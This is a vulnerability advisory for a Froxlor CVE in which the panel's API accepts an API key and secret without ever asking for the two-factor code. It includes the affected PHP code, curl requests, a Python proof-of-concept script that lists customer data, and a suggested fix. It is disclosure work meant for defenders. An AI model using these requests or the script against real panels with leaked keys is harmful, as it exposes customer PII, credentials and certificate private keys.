CVE-2026-52793

## Summary Froxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required. An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor. ## Affected Code **Web UI — 2FA enforced** (`index.php:82-149`): ```php if ($result['type_2fa'] != 0) { // Redirects to 2FA input page // Calls FroxlorTwoFactorAuth::verifyCode() // Login is NOT completed without valid TOTP code } ``` **API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`): ```php private static function validateAuth(string $key, string $secret): bool { $sel_stmt = Database::prepare(" SELECT ak.*, a.api_allowed as admin_api_allowed, c.api_allowed as cust_api_allowed, c.deactivated FROM `api_keys` ak LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid WHERE `apikey` = :ak AND `secret` = :as "); $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]); if ($result) { if ($result['apikey'] == $key && $result['secret'] == $secret && ($result['valid_until'] == -1 || $result['valid_until'] >= time()) && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1) || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1 && $result['deactivated'] == 0))) { // Checks: key match, secret match, not expired, API allowed, not deactivated // Missing: ANY check for type_2fa, TOTP verification, or 2FA status return true; } } throw new Exception('Invalid authorization credentials', 403); } ``` There are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory: ```bash $ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/ # (no output) ``` ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - API enabled (`api.enabled=1`) - Admin account has 2FA enabled (`type_2fa=1`, TOTP configured) - Admin has an API key ### Step 1: Confirm 2FA blocks web UI login ``` POST /index.php HTTP/1.1 Host: panel.example.com Content-Type: application/x-www-form-urlencoded loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send ``` **Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code. ### Step 2: Authenticate via API — no TOTP required ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"Customers.listing","params":{}}' \ https://panel.example.com/api.php ``` **Result:** HTTP 200 with full customer listing: ```json { "data": { "list": [ { "loginname": "testcust", "email": "test@froxlor.lab", "name": "Test", "firstname": "Customer" } ] } } ``` No TOTP code was provided. No 2FA prompt was returned. Full access granted. ### Step 3: Access additional sensitive resources All of these succeed without any 2FA challenge: ```bash # Domains curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php # FTP accounts (home directories, credentials) curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php # Email accounts curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php # MySQL databases curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php # SSL certificates (private keys) curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php # DNS records curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php ``` 165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.). ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)""" import json, sys, requests, urllib3 urllib3.disable_warnings() target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3] r = requests.post(f"{target}/api.php", auth=(key, secret), json={"command": "Customers.listing", "params": {}}, verify=False) data = r.json() print(f"HTTP {r.status_code}") if "data" in data: for c in data["data"].get("list", []): print(f" {c['loginname']} | {c['email']}") print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET` ## Impact When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation: - **Customer data**: PII (name, email, address) readable and modifiable - **Domains**: Full control over domains, subdomains, DNS records - **Email accounts**: Create, read, delete email accounts and forwarders - **FTP accounts**: Access home directory paths and credentials - **MySQL databases**: Full database management - **SSL certificates**: Read private keys, modify certificate bindings - **165 API functions**: Including all write operations API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected. ### Comparison with CVE-2023-3173 CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested. ## Suggested Fix Add 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter: ```php // lib/Froxlor/Api/FroxlorRPC.php, after line 100: // Check 2FA if enabled for this user if (!empty($result['adminid'])) { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"), ['id' => $result['adminid']] ); } else { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"), ['id' => $result['customerid']] ); } if ($user && $user['type_2fa'] != 0) { // Require X-2FA-Code header or 'totp_code' in request body $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null; if (empty($totp_code)) { throw new Exception('2FA code required', 401); } $tfa = new FroxlorTwoFactorAuth($user['data_2fa']); if (!$tfa->verifyCode($totp_code)) { throw new Exception('Invalid 2FA code', 403); } } ``` Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.